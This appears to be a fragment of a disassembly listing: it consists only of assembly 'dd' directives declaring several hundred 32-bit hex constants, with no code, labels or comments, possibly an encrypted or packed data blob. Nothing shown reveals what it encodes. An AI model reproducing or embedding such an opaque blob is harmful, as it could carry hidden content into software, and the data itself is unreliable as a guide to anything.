		dd 16D6C6A0h, 0C2F92801h, 0E88F4296h, 743E3Dh, 524EF65Dh
		dd 9CD725D1h, 2C707700h, 68FE5045h, 0EADE0281h,	5F3996A8h
		dd 0ACA6D9D9h, 18AF3ADEh, 0B6507198h, 8B951D9Dh, 30D946E9h
		dd 0C63507E8h, 6670EF60h, 0B82A682Eh, 8B6A4A60h, 0C4A80389h
		dd 465B27F6h, 0FEF7B3F8h, 678CC512h, 81095BF0h,	0ED98C65Fh
		dd 16077643h, 9C2F5C88h, 0E104802Eh, 5EE903Dh, 0BDEB6C86h
		dd 0FB6FB0F4h, 524C5071h, 4DC4C078h, 4832C59Ch,	645092C2h
		dd 0F82700BEh, 0F5F79E3h, 58255A31h, 9DD3790h, 0E8042986h
		dd 4F4CA87Dh, 3E87AA9Eh, 168D20F5h, 8517B015h, 0C3052C65h
		dd 2D032E81h, 0AAF1D4BEh, 0DAC08175h, 0BFF41427h, 31743B4Ch
		dd 90F709DBh, 67BE5A78h, 37B9FA67h, 8F398201h, 81692AFCh
		dd 81E624F5h, 715E600h,	0BD0908ABh, 0DC2A4F8Dh,	0B52E2960h
		dd 19ADEE75h, 0DE983181h, 53D33112h, 0B70F5613h, 5FA307C5h
		dd 59680351h, 0FD60E4E3h, 9531FE38h, 0DA014AB1h, 27855843h
		dd 648A6701h, 4773601Dh, 53AF0102h, 0C0939CBh, 0DE7E60D9h
		dd 8B94F903h, 11297D9Dh, 5A1D8DF7h, 50530535h, 769DFBD2h
		dd 14467CD1h, 90DFD24h,	6BC42815h, 7C2D8379h, 56DC1226h
		dd 0DEDD2E69h, 0BDF56700h, 8CEDC9EEh, 51E9378Fh, 0B0B5621h
		dd 85562400h, 3886B28Bh, 0F56E17EFh, 8AC11AEEh,	8B85E379h
		dd 0EB2381B5h, 0AD17592Ch
		dd 0D8304E71h, 1800FD76h, 0D40AA620h, 3D2D08B6h, 6F01324Bh
		dd 83306511h, 0C2334961h, 70BF6620h, 0C88D53EEh, 86058C4Ch
		dd 0A745CB72h, 0E2F852C9h, 0F142301Ch, 34AD490Fh, 7D47E48Dh
		dd 0CB3CF6B1h, 426E5Eh,	51D5F790h, 7C1134h, 60521E15h
		dd 0E18ABEB2h, 0BD053294h, 0F7A62AFDh, 0D814722Dh, 1BC46B85h
		dd 2EBAFC60h, 0E05C205h, 0CC0EA488h, 2C0B288Dh,	6D5600F1h
		dd 90610135h, 50F78B05h, 0D5A65E53h, 6E6030F1h,	0F9DD9E20h
		dd 0F27B2Dh, 0B4249CB6h, 0DA0A84B5h, 0B310B000h, 0DE9610Fh
		dd 0AF3DB504h, 221E9500h, 0B50593h, 0F0F9966Bh,	108D8529h
		dd 0D420B081h, 5352D9Dh, 0B75CD71Ah, 46EA00D4h,	0F282BF99h
		dd 2B0934F3h, 0DA087DB5h, 8525FB3h, 5F12165Eh, 93F35A0Fh
		dd 93F6A1C5h, 7DF31E0h,	3969E909h, 7EBDE40Fh, 0C009F68Bh
		dd 1B94D60Fh, 0C099754h, 0E27F298Fh, 0DE5DD6A0h, 0F682A14Fh
		dd 8D0F0201h, 0CB042189h, 7ABBF1F0h, 1900886Eh,	0DDA27B97h
		dd 12246B11h, 2D084964h, 0D82B0914h, 0FA70A25Bh, 157E41h
		dd 88381987h, 0DCD403BEh, 40506926h, 9310C160h,	74A900F3h
		dd 351E5E40h, 5B05F1E4h, 0AA0EA38h, 420BF7A1h, 0B2C01A88h
		dd 27209A1Bh, 0F6051C8h, 4D505FEFh, 3A9DFF9Bh, 50AE5B6Bh
		dd 700B73DAh, 489D708h,	0F9490136h, 1194D26Eh, 918800D4h
		dd 0B5332F1Ah, 89800805h, 0BF14ABDh, 381DB00Ch,	9801891h
		dd 99CB7383h, 721EC4A6h, 3A40378Ah, 343C93EBh, 1DD01D2h
		dd 39C0A36Dh, 66D42020h, 0A122BE12h, 0E8A0AF14h, 4A008C1Ch
		dd 82E8BF80h, 0F1E2F908h, 0D216746Dh, 23A23E01h, 7BB4071Ah
		dd 2D0B61E9h, 3F1253Ch,	0CD2DFF8h, 175191DBh, 20127118h
		dd 0C304D979h, 0AFFC0F69h, 0A0ABB6D3h, 142D8FD0h, 0A907AEB8h
		dd 58015413h, 29B96010h, 40AF12B5h, 9945C5Ah, 2159BD0Bh
		dd 0AA6DCA32h, 80790960h, 0CD740BD4h, 0B0D0EFFDh, 56089D20h
		dd 1F08F58h, 0EA5BD191h, 1FED9A4Dh, 9B2DBF21h, 0E696525Ah
		dd 88C8F0C9h, 691704AEh, 0E2A5AC8Fh, 0CB491EDAh, 0F12DFE80h
		dd 0D09C22h, 0BF061A7Eh, 55A6575Bh, 8B2FABB6h, 9B8B4983h
		dd 21169773h, 108BC91Eh, 2DB1592Dh, 0FBBE7A01h,	3BEC2CA9h
		dd 77B2CDEBh, 0D3805522h, 522E7A64h, 0EFC8125Fh, 5B3DEC04h
		dd 1A1824A8h, 8FD70A7Bh, 4D2BED2Dh, 8FB7E0D0h, 150BE72Ah
		dd 6C4F0CD7h, 0E90A4445h, 0EF88284Eh, 5EF109B7h, 2B54C08Bh
		dd 0BAA861DCh, 6D3E86F6h, 29DB5A24h, 9E80368Eh,	49742016h
		dd 4185C71Ch, 0B132E20h, 8B091ECAh, 77130EDDh, 0CE8147ECh
		dd 780906FBh, 0C282CAh,	9585010Eh, 90B69F13h, 0B73C2A45h
		dd 256ED7h, 667C2C59h, 2C3ECDC7h, 5227D995h, 0FED4A556h
		dd 556B0962h, 3E536A5Ch, 29E9103Bh, 0F3BF094Bh,	25582D02h
		dd 0A85DD6C1h, 712CB8F7h, 467C681Eh, 0D1AD0916h, 0BE81186Eh
		dd 8F33000Eh, 0FAEC5DD6h, 0C109A416h, 0B7FB8B28h, 0F9848041h
		dd 640941A6h, 4AD2DB12h, 0BEEE2B03h, 7595D146h,	30F1834h
		dd 0B531FEBFh, 132E1715h, 8940B08Eh, 962D219Dh,	117C4ACAh
		dd 0B9BF0205h, 5379151Fh, 5BFA719Ah, 2064C19Fh,	3BC760B2h
		dd 0C402EAD4h, 0BF18D8Bh, 0E8595703h, 0B0CEEDB8h, 0E3885D7Ah
		dd 0F18A8F9Eh, 38D5DC99h, 6B6E5F6Bh, 1838007Fh,	0E0C92B55h
		dd 0F94B395Bh, 610A88h,	0C2E6C3BFh, 550F28Dh, 0BE40941Bh
		dd 1D51C97Ah, 68F8E901h, 7BF02DAh, 60213245h, 81126D96h
		dd 0F0FE2660h, 3B973AFDh, 3828B962h, 0BCF1B6F0h, 0AB171CCEh
		dd 333582Dh, 0EAEE2C01h, 0DE812086h, 9EBD8C0h, 298D2139h
		dd 99CD3762h, 0DFB1FBE0h, 4CD76587h, 6650F181h,	68F4F081h
		dd 0DD3700AEh, 2F44A154h, 0A204DEBBh, 8589752Dh, 1D44E189h
		dd 0BC895B11h, 0CF6300F1h, 69592F1Fh, 852A8B50h, 5B07F0A9h
		dd 0F01E183h, 0CD9F41A5h, 0F1C7DA80h, 0BC002554h, 1606931h
		dd 9E1DFD9Dh, 0F717C135h, 0CCBBFD52h, 2000453Ch, 0DEC2F1CDh
		dd 341EA03Eh, 25F461C7h, 0B8DDEDAFh, 276CA9CBh,	7E7B6Fh
		dd 0D5A8F051h, 0EC81C50Ch, 952905BBh, 3A60617Fh, 41623FDh
		dd 0AE658BE6h, 7A342935h, 0BE8011ECh, 743F1A81h, 0E1B58913h
		dd 3C049B85h, 0C8132801h, 14005E0Bh, 0B8473971h, 313DF268h
		dd 0B12CD0A3h, 0B078272Ah, 6AEEC11h, 0BD897193h, 0CF824D21h
		dd 0AD374209h, 958B1782h, 212E5E61h, 0E32A93D5h, 3018E27Ch
		dd 0FE04A05Eh, 0FA8AB738h, 21677AB8h, 14B6CD8Bh, 8B6FAB87h
		dd 0EADE5601h, 3074DA96h, 21537982h, 0D3242560h, 41AFD9D8h
		dd 2D11A1F5h, 2732512Ch, 79A4F88h, 96369B82h, 0D07A0642h
		dd 566495h, 0B619FD3Fh,	78C72B3Bh, 606A9107h, 32AC6C63h
		dd 71284C75h, 2C8C15F8h, 180D326h, 16731E9Eh, 0CA42498Bh
		dd 63997E20h, 3B4929B7h, 547AE8A5h, 2C381546h, 93890F93h
		dd 7C68F8C4h, 2F6FFCEh,	172CFAE2h, 91C28B67h, 0E4FFC988h
		dd 0E9574E1Fh, 0F18E6A8Ah, 0CEA700CAh, 12FD0EA0h, 902B5600h
		dd 48D0B60Ch, 88C8F92Eh, 0FA45E35Ah, 0ABB874B9h, 9666ED01h
		dd 0F3D5898Eh, 6E4F1D23h, 0DEB200E1h, 6F19A4EEh, 89E612C8h
		dd 0B50B12FDh, 0B8B67DF6h, 0AB96009Dh, 0CFCC3466h, 54D7208Eh
		dd 68D4FD50h, 0CE4AD60h, 15B53342h, 91D9356h, 1A5B1D97h
		dd 7A424E36h, 291002B3h, 0A4FC686Ah, 0B445023Bh, 0F6CB168Bh
		dd 0CEF2E0A6h, 0E96A1845h, 342D1908h, 0AD730D03h, 31073306h
		dd 0C7D71DBEh, 0D6592D85h, 37E0A5A6h, 2C093F02h, 4D6155AAh
		dd 78F0C321h, 80864A80h, 0AAE69B0Bh, 0EB3560D7h, 9D611607h
		dd 0A96224E9h, 79B8EAh,	307C16C2h, 0AE0522D0h, 0F0E1CA56h
		dd 43E7FD5h, 0B19D8957h, 41AE721h, 284DB531h, 603815B9h
		dd 81665380h, 5EA0AEC6h, 64880F27h, 0FBBB17EEh,	0C0460B37h
		dd 60C2D86Dh, 0FF46DAh,	5740C2Eh, 3E94CBC0h, 68151E00h
		dd 0D29C04E9h, 32BD5B55h, 0CDCF81Dh, 10158D04h,	12097506h
		dd 74889570h, 53503119h, 8238B8A2h, 658589BDh, 9F02560Eh
		dd 0A0129215h, 58565BFCh, 87172022h, 0B5A3BD20h, 0F83725h
		dd 9A5FECD0h, 4B09B3DCh, 7E52A808h, 3B0F40B1h, 0A3016AD2h
		dd 0B9B20417h, 30365EF3h, 0A2E03BF2h, 0F97DEA23h, 90F28628h
		dd 2FE0049Dh, 0F444E804h, 0CB65BF93h, 0E9421F2h, 0A1B8DBE9h
		dd 0B491BA0Bh, 1D4558E0h, 0AC601971h, 0B95300E2h, 0E6ED47Fh
		dd 0E861590Ch, 5A897F05h, 0FC9ED395h, 42C58625h, 0C02CEDCCh
		dd 80BFD5ADh, 0E826F173h, 37A51FD2h, 5E25004Fh,	0D16AB829h
		dd 531A2D18h, 821211A0h, 9F477CDCh, 81F10AB0h, 3CF6004Bh
		dd 9E612909h, 4405A0E4h, 89E25E7Ch, 0B0BF9887h,	0F18B5903h
		dd 0A11282E8h, 0E522870Fh, 40C37C60h, 4914D6E4h, 0C6054A00h
		dd 8B587E11h, 86D2095h,	0ED926167h, 0CB8A03D8h,	554B58E8h
		dd 831EE4F0h, 59B9262Ch, 0C05696FCh, 23E86A02h,	3EAD6BD3h
		dd 0B50137BCh, 70EC3325h, 0A693AE0Bh, 0ED28842Dh, 28FB8CBh
		dd 95296D2h, 0D2844257h, 0F97ED5D1h, 0A033B86Bh, 8412E5A3h
		dd 380CD70h, 0D39D5BB5h, 664B9E57h, 38CEC29Bh, 1FB5D180h
		dd 9C1A65F5h, 426CD67Dh, 0F49AFE8Ch, 0C84E4C00h, 0F0BCAE1Fh
		dd 4BE835EDh, 6E7BBCA7h, 4D845362h, 0C8B9D6ADh,	0D45A77E0h
		dd 5807950Ch, 17E833CAh, 6410F569h, 33122ED5h, 0C577D48Dh
		dd 2560FA0h, 85719E92h,	3AE86D91h, 0AB73E383h, 54E8B5CBh
		dd 0DF009CBFh, 0EB4DAD58h
		dd 629181Ch, 8BAEF3A2h,	512D98CFh, 70FBD1Fh, 0E047BCF3h
		dd 3CB052E9h, 9BE87F13h, 77635C86h, 1C064895h, 0F91B2585h
		dd 37DE8ECh, 4207F29Ah,	5C10DB56h, 0E8092AD5h, 167C0560h
		dd 0E84695F4h, 85746075h, 0B109A1B6h, 0A530A20Fh, 0E8FC000Eh
		dd 4F9D0529h, 807D4004h, 501DFC28h, 0D44A5DBEh,	8505F32Ch
		dd 76B408A1h, 0F5E82CF9h, 0A37AFC5h, 8F8A7A00h,	0F23A6CC7h
		dd 21E390E4h, 651A1D05h, 0C6B7776Fh, 8D17A200h,	0B5A4BF5h
		dd 0E801C180h, 1BD128Bh, 0A0FD530Eh, 118962C7h,	0CD1A2D7Fh
		dd 85CA9EA0h, 0B5108B47h, 61310CA9h, 1121090Eh,	993D820Fh
		dd 9E39B902h, 0DDA443DAh, 8D010204h, 0B0ACC935h, 0DC2CD4C2h
		dd 28A8CD02h, 0DA810FABh, 0B96002A1h, 67E7C819h, 1FD9B383h
		dd 0E2FC9725h, 0DC62542Eh, 0E97AB600h, 57B10326h, 5B957B09h
		dd 56F1CA0Ah, 8EE0B779h, 1E9BE327h, 6D8BF8FBh, 4EC5134Dh
		dd 708ECEFCh, 0E7344F23h, 0A4F0C59Bh, 0FC04431Ch, 9991199Eh
		dd 0B47269ACh, 62598056h, 727DE0DBh, 1DD5315Eh,	7194C8h
		dd 20DBA241h, 0AE34B883h, 0C05C0B00h, 4509F078h, 9759716Bh
		dd 0D65F7588h, 0D7F3754Ah, 1B97085Eh, 0CE043A28h, 8A0FF61Dh
		dd 16842C89h, 0ACC9D8E9h, 0CEBF076Dh, 52216050h, 31E45CB4h
		dd 4FBA0566h, 0EC585A77h, 0A156C0BDh, 5993B6h, 0AB5F83D5h
		dd 3C086FD9h, 80976171h, 77E6816Ah, 635425C1h, 0DAFF1B66h
		dd 5B4F5D44h, 3DE49921h, 93E41F0h, 0B5958D21h, 0F35B83C2h
		dd 0F8C21271h, 135D7859h, 887281E6h, 7C009556h,	1363D5B9h
		dd 4A89FF86h, 80959B1Ah, 21A1FBF6h, 976200BDh, 8D2B249Ah
		dd 0EDC12FE1h, 8B0F0442h, 1FCCC4Dh, 0E6258311h,	0D7BC70A1h
		dd 0E7EBB682h, 0E80E7DC1h, 0D25B6E40h, 0B58E04CAh, 0E8E575A6h
		dd 61592F07h, 4C561AAAh, 2285218Ch, 0B02DAD3Dh,	0C575C1h
		dd 385D4AF1h, 0E3F6688Ch, 66ACD860h, 0D302B1BEh, 84A5DB4Bh
		dd 18BB9125h, 1057E91h,	0AA955281h, 44648CE1h, 0E01EA61Ah
		dd 6D09778h, 7E19B5A3h,	0B7BDADA1h, 1A4B0923h, 2E14E476h
		dd 0B0B58E98h, 35BD147Ch, 0AC92E40Eh, 0A7A645A2h, 0E28D4D74h
		dd 87E6D252h, 0B4735E00h, 9EA2824Ah, 920900E7h,	0C80AE239h
		dd 290AF53Bh, 0E5E95485h, 0EC85DDBFh, 90272775h, 8300F864h
		dd 8C1043Ch, 49E523CEh,	8EEC57ABh, 668AB702h, 0A5BEBABFh
		dd 0D3ACFC8Fh, 8D583F80h, 7F009880h, 3AE8C79Bh,	3B6A6D4h
		dd 3571D8FAh, 0E41040EDh, 1CF82D49h, 8ED4938Ch,	8DEBE6C0h
		dd 0E0B5A056h, 0DB86A1DBh, 0E40B782Dh, 0D8B112C6h, 62848ABh
		dd 0D396E0D2h, 69C65B67h, 0C0A2560Bh, 0C9DF939Ch, 0B4F46C38h
		dd 77B68CFCh, 8621A8E0h, 5DE6C0B5h, 80FD0973h, 0FF181DD1h
		dd 7FDE0729h, 0AC9E01D3h, 0B65D5080h, 2F099B27h, 70693FE5h
		dd 0DE1ABCA2h, 25A20148h, 6AB70461h, 3CDF6FAEh,	1A66004Dh
		dd 0C18146DEh, 0A0DD1A3Eh, 37754E25h, 3EEF01F8h, 60D055C7h
		dd 2316C899h, 0D2C9E9BDh, 5DF05526h, 2906112Bh,	3A6A9359h
		dd 9BCF595Ch, 7C732E24h, 7E011D46h, 0FD835327h,	94A9D0B5h
		dd 819BF47Bh, 97467578h, 1D2197E0h, 63DA2981h, 610C09DCh
		dd 0E55BC58Ah, 8A20E579h, 256F240Ch, 0FF853C90h, 88E8603Bh
		dd 5F00B59Ch, 0B4BCD2EDh, 201E281h, 5E43496Dh, 7BEC8E0Fh
		dd 93DD21FEh, 0FAB6C0D3h, 0AFACB9E0h, 567A5D5Bh, 88132D10h
		dd 2084D67Ch, 56291D5Bh, 9EA0F676h, 0D758D840h,	29A91057h
		dd 0B8FC6015h, 6170B707h, 0C1B5C357h, 0A885F34Eh, 988D1BDh
		dd 379AB080h, 13A480A9h, 0A2513Bh, 5F6317EAh, 0E797DE8Bh
		dd 6019E4B1h, 3039DCFh,	6646D676h, 6A8A88BBh, 50BF091h
		dd 33E47C8h, 1DA19FAAh,	0A58059E4h, 0ED5F5502h,	0E9C86E1Ch
		dd 31A9830Bh, 97A3942Ch, 0F4E457D1h, 0A44E962h,	8D1E0066h
		dd 0CC306876h, 0EE0A3B8Bh, 8385B361h, 0D242BD0Bh, 84FB5E16h
		dd 406EBB92h, 0E989AA00h, 815773ABh, 6A68D300h,	605F4A55h
		dd 4E857A03h, 0F96D4427h, 90610518h, 0FF8BFB0h,	8854DCBFh
		dd 0E250D75Eh, 49017BA9h, 0DF72AB62h, 0CFC0E35Eh, 0EC2A25F2h
		dd 2D3855E4h, 8081B807h, 0E0FD647Bh, 1E8A44Fh, 0BE397F1h
		dd 6D905F73h, 2AB801h, 8B46BCE4h, 9C57D05h, 15209DEAh
		dd 95E84A31h, 95E9A79h,	5C6A5FF9h, 7724DE39h, 8B0D1838h
		dd 53F42DAh, 0EC45A091h, 0D316D827h, 8DD1386Ch,	0A626C5DEh
		dd 48D0F7A2h, 2CA2E72h,	4F4BC92h, 0B3FCD1FFh, 4477D040h
		dd 0A61400B5h, 0B2605376h, 7504489Dh, 5B34ECD7h, 22556981h
		dd 90C8304h, 0D61E0D5Fh, 0D8BB5B65h, 921494DFh,	778A1296h
		dd 0C8026A28h, 0D2B5AAB5h, 5065D3CBh, 0CA00311Fh, 5B85AABh
		dd 146EBC4Ch, 0B795C780h, 2F75B673h, 8804AC37h,	0F6A81DF2h
		dd 0DD3E4D7h, 20E396BDh, 379742C7h, 35FC0226h, 9384F88Ah
		dd 0B6F580D8h, 9BE1399h, 0A0D40C61h, 0DE54C8h, 5DFA7D98h
		dd 0DDFC58A8h, 656D9B00h, 0F3812344h, 0E460337Bh, 502690E8h
		dd 1A0B6150h, 789DF3DCh, 35249783h, 0E7095D33h,	0FFDC0745h
		dd 0FE49829Ah, 6B254067h, 2076D26h, 77229A4Dh, 0D065F170h
		dd 0CFEA0D01h, 0DC4783BCh, 64115FBDh, 0B14A2589h, 0EA84FBC9h
		dd 5FA6FE74h, 0F5232AE0h, 29B5890Ch, 0B4FF4919h, 7F00DCFFh
		dd 0D3F585C0h, 9E0892BEh, 0EA5D40ACh, 68000D93h, 0ED217F1h
		dd 0E4FE4C5Fh, 98500E4Fh, 45A2BF2Fh, 825D1475h,	29282186h
		dd 0F77AD88h, 9501595h,	0F40132E9h, 22A58879h, 5111B019h
		dd 18C033ADh, 814133BFh, 0D20EE072h, 53E10C02h,	6FFA1032h
		dd 85070148h, 97F59D89h, 0C8B6C0C0h, 34169ABFh,	8588739Eh
		dd 4046B460h, 8C0CC17h,	51780700h, 70D90241h, 17BA787Eh
		dd 0AF5760Ah, 8019C176h, 0EB71F636h, 250031C0h,	1FD00377h
		dd 2D1AE926h, 5F093517h, 0E06B8522h, 0BB81C7DCh, 0C82B4A10h
		dd 3A381863h, 9425FC00h, 0E5A94220h, 0C7EAC900h, 0EEF5841h
		dd 0D18B05D2h, 0F14D9589h, 871D2CABh, 0F81E9D2Bh, 27FAB7EDh
		dd 0EDAB858Bh, 11352782h, 0F2096103h, 818DA9C5h, 0FE8B07AFh
		dd 884F0AB8h, 65029E21h, 3B632BB7h, 61AD8AD0h, 33F70049h
		dd 346D198Dh, 0BF174FE9h, 0EDBD2420h, 6B3C0038h, 0D49E51DFh
		dd 0D0B7F7Ah, 21635A1Ch, 5B61C6AEh, 0BFEA333Ah,	3487FD8h
		dd 84A2A297h, 0B9A62A21h, 0A528D5BFh, 0DFE4819h, 89F9AF0Bh
		dd 849F6444h, 415B2340h, 9BB5A187h, 523730DAh, 6A5BF516h
		dd 0E8F0E4F6h, 4D656156h, 0B2ACFBC8h, 2205F4D0h, 8565C71Eh
		dd 972FDB6h, 7A07B3B9h,	83F57924h, 0FFCE809h, 0B5AC4680h
		dd 0EDED006Bh, 39B857h,	5B83F19Ch, 9529DEF2h, 6A55Eh, 0F6B4C02Bh
		dd 9E2AE1BAh, 35C0C036h, 2E942076h, 650FDh, 0AD0FFFBFh
		dd 0D160C233h, 0E983D050h, 0F4750F04h, 0D847BA60h, 15F08CADh
		dd 48A5988Ah, 8AD700B3h, 99F704FAh, 0B01427Ah, 0C8DEC450h
		dd 6E3B618Fh, 83C4006Bh, 7A625EFCh, 0A2264BFDh,	0A8860129h
		dd 0E5DD4E9Bh, 0D3880DC4h, 0E319F619h, 0D4F7E09Ah, 2C0D040Eh
		dd 94F5958Bh, 2DF2C8h, 39EF1924h, 70A865h, 8C3C4B17h, 593F954Ch
		dd 96DDD904h, 8B818FEBh, 0A3722319h, 0BBDBCB07h, 0E1C2C750h
		dd 0BCC10318h, 0B6AB7408h, 0B7581925h, 965C0003h, 9F875774h
		dd 0F5B79Fh, 111D3C4Ah,	775CB72Bh, 1E2910B0h, 806DA04Ah
		dd 601AE487h, 13E5FF8Bh, 446F01CFh, 9348D76h, 0C1F01AB8h
		dd 0A4674E28h, 255DAB2h, 21C9DDCh, 77BE1FFh, 7FF0A70h
		dd 17EFF72Ah, 0A48B21B0h, 191210Fh, 0C22C18Dh, 0F7034E4Dh
		dd 9EE0A7D6h, 59953199h, 3142985Dh, 37450120h, 36DB2540h
		dd 0FC12A4F8h, 0EF86100Fh, 85310E02h, 4A4D71Dh,	601F40EDh
		dd 729C36B1h, 41AAE040h, 5E82C725h, 0A679C5FDh,	50D5E010h
		dd 10F8002Eh, 0D2CE4960h, 0B9208D01h, 0E180262Ah, 0FBBF0319h
		dd 0D037C90Ah, 3EA041BBh, 0B074DDF4h, 0B721E276h, 0CD4209CFh
		dd 2495FE31h, 0D11CE1h,	85336C05h, 87A411FDh, 0FB1CB12Dh
		dd 450937Bh, 0A1EC467Eh, 61FB20F2h, 0FA8B46A8h,	0BC026804h
		dd 0B4F2EDD3h, 0B5F87900h, 500897E0h, 81605B71h, 4B47FD40h
		dd 0F0EE9D12h, 4405D527h, 0C26D18F5h, 0E9FA8A13h, 28D28D90h
		dd 68B826ADh, 0BE464907h, 73647FAFh, 0A0F20BBh,	0DC024FA8h
		dd 8B3D5CD6h, 85D9C0F9h, 9B7ED265h, 35B8C03Ah, 9BF795Eh
		dd 223AE6EBh, 722D72A1h, 2B18C1C7h, 9BC9B5DEh, 7A7933E4h
		dd 82E10300h, 0DA105207h, 0BE8CBFAEh, 0BD2989C1h, 8505F0E5h
		dd 60AB0E25h, 1837834Fh, 15FB7A00h, 39A92E03h, 1EFECCFh
		dd 1E81DA85h, 2F0689F6h, 9512C36Eh, 2F5E29B0h, 0CA814BDAh
		dd 20BB3F27h, 4BDDE50Ch, 5404468Bh, 44539820h, 0F272434h
		dd 0CB0EAE81h, 9D3C9887h, 0FF3040A5h, 2EF1B552h, 9908A7F8h
		dd 4E80832h, 1F03FF87h,	181B6007h, 411C2A9h, 9D17B2E2h
		dd 0E97F21Bh, 0E0EEB9D7h, 19532515h, 177A003Ch,	615E4895h
		dd 50E69EB0h, 8BD2B31Bh, 0F8BA3BE3h, 0CB85A6E5h, 0C9390017h
		dd 4A6FEBB6h, 0F441394Bh, 60AE3B83h, 88E44007h,	1905B7F7h
		dd 0ED9D0958h, 918DB6A0h, 5BE3AF9Fh, 715009ACh,	0FCB00032h
		dd 0A86DC4F5h, 0F229C801h, 8E922F4h, 0C43BA611h, 86E27B3Eh
		dd 0FE5F9724h, 0D7588AA7h, 202FACC8h, 68BB6176h, 52E3094Ah
		dd 0C19A85C7h, 3D78E2E4h, 9751CA0h, 5920E999h, 18531A9Ah
		dd 2E0910DBh, 2AD3895Fh, 7540F520h, 7AAD005Fh, 50DA8A3Eh
		dd 11700C30h, 61954473h, 4CEB1017h, 4C3F000Eh, 20580317h
		dd 36EBE7DCh, 43E036DDh, 63E19E64h, 2934501Bh, 180C2128h
		dd 0D0011358h, 0D2991B57h, 0CB6E2EC0h, 2C87F328h, 528309C5h
		dd 7D857160h, 0A70B0441h, 38CD703Eh, 0E2B7FAECh, 0F12A0B30h
		dd 28410F7Bh, 0FDD15AE0h, 809B3CBh, 2B88D80h, 0DC2FA510h
		dd 0B100F437h, 0BF5680EBh, 5F9C5AFEh, 0A492B131h, 98C05F82h
		dd 729D882h, 0CFEECB62h, 0FA58F0F0h, 2B046AEAh,	0C71C25F4h
		dd 4FA1ABBh, 1145F682h,	34455AD2h, 9EDB510Fh, 4B4A4E48h
		dd 8B935751h, 4B48409h,	1DA70E13h, 25952538h, 8EE931D3h
		dd 395873B8h, 741415C9h, 0D7FD938Bh, 7D0A4AB8h,	0B29026A4h
		dd 0A9D18509h, 987C39B0h, 5787377Fh, 6E348225h,	0B484878h
		dd 636DA0CCh, 0A6F012Bh, 86896153h, 837EC2C4h, 0D80D00F4h
		dd 940BE6DAh, 0FC17C4FEh, 0D3A4E809h, 0DEC90091h, 1E3BDB7Bh
		dd 0FC014FC8h, 0AF97AD6Ah, 0B629890Fh, 7BF25Bh,	0F0C331B6h
		dd 88D96Ah, 0CE791F89h,	0DFAAFE82h, 51038601h, 5F5BF33Ah
		dd 0A1D5752Ch, 524CC7BCh, 835B0FF7h, 0E404F2C2h, 890006D9h
		dd 61BF2050h, 27165F13h, 0D7C2DF02h, 0CCB7FD13h, 83B40A80h
		dd 11ACD66Ch, 2E0BE8C2h, 0F6017DB2h, 0DB42AA63h, 682897C0h
		dd 11D17A60h, 0B52909B8h, 0F3922FF1h, 886F97C9h, 8D2729DCh
		dd 63B90949h, 59D2125Bh, 4183290Fh, 90E117Dh, 8100E669h
		dd 4B1BDEC3h, 0F2E9605h, 6041698Ch, 8D6E62B2h, 3E9D31B2h
		dd 0FF96AEC2h, 270410B7h, 0C3922BC5h, 0C7B7FE1Ch, 8861D00Dh
		dd 8000E621h, 9C518D3Bh, 14D74FA9h, 683053C6h, 3EF93093h
		dd 487E5D5Ah, 89333000h, 8B5C4480h, 4190972Bh, 0C10039D3h
		dd 679E226Bh, 0CD4D8h, 0ABE2E03Ah, 8BED8EF2h, 85F0DA4Ah
		dd 0DE164A2Dh, 0A0988FCFh, 9CE5BA9Dh, 0D0E80BFDh, 50FF50Ah
		dd 221013E4h, 337D126h,	969578DBh, 0E06ABBB0h, 80F2504Bh
		dd 8DDFF700h, 5BE270ADh, 3898B300h, 320ACC81h, 6F964D41h
		dd 4BF80829h, 6CC07ECDh, 0B39ADh, 8444E861h, 1D9509BBh
		dd 0D58D31B9h, 0ACF36D19h, 6E5B75FCh, 35C50000h, 0C85101D9h
		dd 604B0128h, 0A6D78052h, 0CE332059h, 76696155h, 6C93F059h
		dd 0E69C5F06h, 0ECE70F37h, 0C821EDF1h, 8A2916CDh, 0DD25C6E8h
		dd 8901C0EDh, 4202810Fh, 0BB2063F2h, 4CE757C3h,	0C527EC3Eh
		dd 76D63162h, 34904DCh,	0B062D9Dh, 0D1E2FBC6h, 807228CCh
		dd 0AF8FE2DCh, 6C341846h, 294C52B1h, 0E834E00h,	0C7D98B1Eh
		dd 2A251485h, 6594A410h, 1C48A3Bh, 3655B52Eh, 0F3F0E983h
		dd 0D4DB8CFFh, 0C18B19C0h, 0A21DF6BFh, 756C2ABDh, 0C6658F1Dh
		dd 3AE69D5Dh, 8B609009h, 3D4859F7h, 48F9E53Eh, 2302CE55h
		dd 0C29E97C6h, 5E937771h, 0B7906A0Bh, 0EF82BD3Dh, 820FCCF1h
		dd 85EC597Ah, 0DF8023A0h, 5BC8344Ah, 7EA504Ch, 0C99030EFh
		dd 14516DCEh, 0E41FCD95h, 245AB879h, 6103F31h, 0DE8A900Fh
		dd 619BB7E7h, 0AD21DB80h, 9F4BF85Eh, 0B0C13FEDh, 5F9A33Ch
		dd 0E9510330h, 0CC7F8105h, 0C6322B32h, 69C256F8h, 77DF6A00h
		dd 0F2FD1FFh, 255BC68Fh, 9065B709h, 5523A31Ah, 0E114D837h
		dd 0F6B500AEh, 85011F32h, 2557B4D9h, 0BD199846h, 95750891h
		dd 0BAC956Bh, 0B310E822h, 2F1885F2h, 0C23A66AFh, 0FC0EAA59h
		dd 93B9631h, 23095ADBh,	0CC405654h, 989D42h, 0A0228DF2h
		dd 0E99C91D2h, 18A65ED2h, 3AC106F0h, 0CB3D437Fh, 7A0E1D5Ch
		dd 993D781h, 0EA665EBBh, 40298C50h, 914AE921h, 7710B0CEh
		dd 746B9351h, 0E0997D00h, 0F59ABE0Bh, 0C0397225h, 950DF144h
		dd 6F009B6Ch, 0B73E5FB0h, 69BD23BAh, 0CA51A7FDh, 0C0084DADh
		dd 0EBFBF09Ah, 0A81F7200h, 6025558Ah, 999D382Bh, 2969205Eh
		dd 531661CDh, 95B38B0Fh, 0F08DEF0Bh, 0FA877FD4h, 4A990F50h
		dd 31C6F2h, 3CEA843h, 71A0D7D9h, 25C4ED06h, 0D636906Ch
		dd 0E0B4E640h, 90CB39EDh, 7492047h, 51830F28h, 40BABB04h
		dd 0DB91EE3h, 0B07AB75Bh, 1227DAFBh, 0E09054Fh,	91B4B17Ah
		dd 0FAF7DF82h, 4C91C5Ch, 8B440293h, 0D71EB8F9h,	5BDE0303h
		dd 1DA9E46Ah, 0D1BA30B9h, 37084DE6h, 8210E932h,	0F6AA4FC6h
		dd 0EEEC98E0h, 2B01AFECh, 0CB71D67Bh, 65F401D7h, 2F78B90Ah
